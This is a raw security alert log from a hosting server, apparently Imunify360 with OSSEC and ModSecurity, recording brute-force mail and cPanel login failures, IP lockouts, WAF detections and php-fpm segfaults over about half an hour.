2026-07-01 00:43:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:55082: 535 Incorrect authentication data (set_id=manny@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:43:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:63688: 535 Incorrect authentication data (set_id=porn@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:43:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:36246: 535 Incorrect authentication data (set_id=y.takahashi@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:43:02 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:43:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:52200: 535 Incorrect authentication data (set_id=asl@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:43:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:43676: 535 Incorrect authentication data (set_id=porn@ns5.netmaster.tg)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:44:14 ns5 kernel: php-fpm[2110347]: segfault at 7fff8b471dc8 ip 000000000072ad55 sp 00007fff8b471dc8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:44:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:31502: 535 Incorrect authentication data (set_id=webclient@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:44:39 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.124.183.85
country_id: 2245662
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/ceremonie-de-lancement-officiel-djama-228 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:44:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:49492: 535 Incorrect authentication data (set_id=honeywell@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:44:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:12804: 535 Incorrect authentication data (set_id=meteo@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:44:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:61116: 535 Incorrect authentication data (set_id=admin123@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jul  1 00:45:41 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:45:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:53982: 535 Incorrect authentication data (set_id=bettina@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:45:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:37644: 535 Incorrect authentication data (set_id=information@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:45:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:7964: 535 Incorrect authentication data (set_id=idc123zxc@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:45:28 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:45:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:44670: 535 Incorrect authentication data (set_id=mariana@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:46:51 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:46:39 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:46:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:14072: 535 Incorrect authentication data (set_id=sammy@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:46:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:23250: 535 Incorrect authentication data (set_id=sammy@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.144.35.224
country_id: 1880251
description:
[2026-07-01 00:46:38 +0000] info [cpaneld] 168.144.35.224 - BEWELL "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user BEWELL (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:46:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:30616: 535 Incorrect authentication data (set_id=office365@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:46:18 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:46:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:20570: 535 Incorrect authentication data (set_id=volvo@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:46:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:48920: 535 Incorrect authentication data (set_id=liqin@ns5.netmaster.tg)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:47:14 ns5 kernel: php-fpm[2110597]: segfault at 7fff8b471dc8 ip 000000000072ad55 sp 00007fff8b471dc8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:47:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:61038: 535 Incorrect authentication data (set_id=zhangyun@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:47:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:7276: 535 Incorrect authentication data (set_id=troett@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:47:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:25434: 535 Incorrect authentication data (set_id=vts@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:47:10 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:47:33 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:47:16 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:47:05 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:47:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:31522: 535 Incorrect authentication data (set_id=yf@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:48:23 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:48:04 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:48:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:48450: 535 Incorrect authentication data (set_id=compliance@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:48:11 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.243.152
country_id: 2635167
domain: sigm.cadastreminier.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sigm.cadastreminier.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:48:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:9392: 535 Incorrect authentication data (set_id=jacek@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:48:14 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:48:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:27988: 535 Incorrect authentication data (set_id=nivedita@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:48:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:1856: 535 Incorrect authentication data (set_id=idps@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:49:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:25522: 535 Incorrect authentication data (set_id=*.app@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:49:51 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:49:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:25000: 535 Incorrect authentication data (set_id=vdp@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:49:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:53044: 535 Incorrect authentication data (set_id=*.app@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:49:06 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:49:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:49050: 535 Incorrect authentication data (set_id=dali@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:49:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:42956: 535 Incorrect authentication data (set_id=output@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:49:08 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:49:11 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:50:01 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 188.241.67.205
country_id: 3175395
description:
188.241.67.205 - - [01/Jul/2026:00:50:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6713454&pdata=https%253A%252F%252Fcorpsdiplomaticnews.tg%252Findex.php%252F2022%252F10%252F21%252Fune-delegation-du-pam-chez-le-premier-ministre%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782867021 HTTP/2.0" 302 0 corpsdiplomaticnews.tg "https://corpsdiplomaticnews.tg/index.php/2022/10/21/une-delegation-du-pam-chez-le-premier-ministre/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.5347.1303 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:188.241.67.205


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:50:03 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:50:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:34750: 535 Incorrect authentication data (set_id=milk@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:50:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:19480: 535 Incorrect authentication data (set_id=petra@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:50:06 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:50:30 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:50:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:1484: 535 Incorrect authentication data (set_id=recette9@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:50:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:29150: 535 Incorrect authentication data (set_id=paramita@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:51:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:42554: 535 Incorrect authentication data (set_id=ggggg@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:51:01 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:51:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:60342: 535 Incorrect authentication data (set_id=developer@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-07-01 00:51:42 +0000] info [cpaneld] 64.111.92.123 - BEWELL "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user BEWELL (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:53:45 ns5 kernel: php-fpm[2114140]: segfault at 7ffe780b1ce8 ip 000000000072ad55 sp 00007ffe780b1ce8 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.42.182.208
country_id: 3895114
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/reunion-distributeurs HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  1 00:54:32 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.201.20.38
country_id: 2921044
description:
[2026-07-01 00:54:59 +0000] info [cpaneld] 84.201.20.38 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.255.75.218
country_id: 1269750
description:
Jul  1 00:56:58 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.255.75.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.255.75.218
country_id: 1269750
description:
Jul  1 00:57:05 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.255.75.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.83.4.64
country_id: 3017382
description:
[2026-07-01 00:57:10 +0000] info [cpaneld] 51.83.4.64 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:58:26 ns5 kernel: php-fpm[2114386]: segfault at 7ffe780b1ce8 ip 000000000072ad55 sp 00007ffe780b1ce8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:59:00 ns5 kernel: php-fpm[2115172]: segfault at 7ffe780b1ce8 ip 000000000072ad55 sp 00007ffe780b1ce8 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 108.165.83.122
country_id: 1861060
domain: lcr-adem.org
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:108.165.83.122||TA:108.165.83.122||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.225.69.187
country_id: 719819
description:
185.225.69.187 - - [01/Jul/2026:01:00:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10264218&pdata=https%253A%252F%252Fcafe.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782867626 HTTP/2.0" 302 0 cafe.tg "https://cafe.tg/" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.225.69.187


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.212.169.175
country_id: 1880251
description:
[2026-07-01 01:00:07 +0000] info [cpaneld] 20.212.169.175 - afxvhoxo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afxvhoxo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-07-01 01:01:29 +0000] info [cpaneld] 64.111.92.123 - afxvhoxo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afxvhoxo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 01:02:48 +0000] info [cpaneld] 167.99.236.81 - conseiller "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseiller (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.163.207.190
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:193.163.207.190||TA:193.163.207.190||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:03:34 ns5 kernel: php-fpm[2116730]: segfault at 7ffe780b1ce8 ip 000000000072ad55 sp 00007ffe780b1ce8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:04:45 ns5 kernel: php-fpm[2116834]: segfault at 7ffe780b1c98 ip 000000000072ad55 sp 00007ffe780b1c98 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:05:16 ns5 kernel: php-fpm[2116763]: segfault at 7ffe780b1c98 ip 000000000072ad55 sp 00007ffe780b1c98 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:06:04 ns5 kernel: php-fpm[2116769]: segfault at 7ffe780b1c98 ip 000000000072ad55 sp 00007ffe780b1c98 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.83.181.142
country_id: 1643084
description:
[2026-07-01 01:06:00 +0000] info [cpaneld] 178.83.181.142 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.212.169.175
country_id: 1880251
description:
[2026-07-01 01:07:49 +0000] info [cpaneld] 20.212.169.175 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-07-01 01:08:34 +0000] info [cpaneld] 64.111.92.123 - lanuitdescouleurs31 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lanuitdescouleurs31 (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.14
country_id: 6252001
description:
205.169.39.14 - - [01/Jul/2026:01:09:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869260&pdata=http%253A%252F%252Fsitewebofficiel.tg.154-70-82-246.cpanel.site&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782868168 HTTP/1.1" 302 0 sitewebofficiel.tg.154-70-82-246.cpanel.site "http://sitewebofficiel.tg.154-70-82-246.cpanel.site/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.14


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:10:13 ns5 kernel: php-fpm[2118588]: segfault at 7ffe780b1c98 ip 000000000072ad55 sp 00007ffe780b1c98 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-07-01 01:11:31 +0000] info [cpaneld] 64.111.92.123 - ANANI "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ANANI (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:13:13 ns5 kernel: php-fpm[2119290]: segfault at 7ffe780b1ce8 ip 000000000072ad55 sp 00007ffe780b1ce8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-07-01 01:13:28 +0000] info [cpaneld] 64.111.92.123 - 92495610 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.229
country_id: 3469034
description:
Jul  1 01:13:45 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.229 has been locked due to Imunify RBL


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 111.90.143.16
country_id: 1733045
domain: lcr-adem.org
description:
IM360 WAF: Track file upload for Infectors||RSV:8.21||T:APACHE||SC:/home/wcnyaruu/public_html/goods.php||User:wcnyaruu||WPU:||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.83.181.142
country_id: 1643084
description:
[2026-07-01 01:15:49 +0000] info [cpaneld] 178.83.181.142 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-07-01 01:15:23 +0000] info [cpaneld] 64.111.92.123 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.2.57.138
country_id: 3469034
description:
Jul  1 01:16:50 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.2.57.138 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 01:16:43 ns5 kernel: php-fpm[2121066]: segfault at 7ffe780b1ce8 ip 000000000072ad55 sp 00007ffe780b1ce8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-07-01 01:16:17 +0000] info [cpaneld] 64.111.92.123 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jul  1 01:17:01 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.221.151.181
country_id: 2017370
description:
Jul  1 01:18:26 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.221.151.181 has been locked due to Imunify RBL


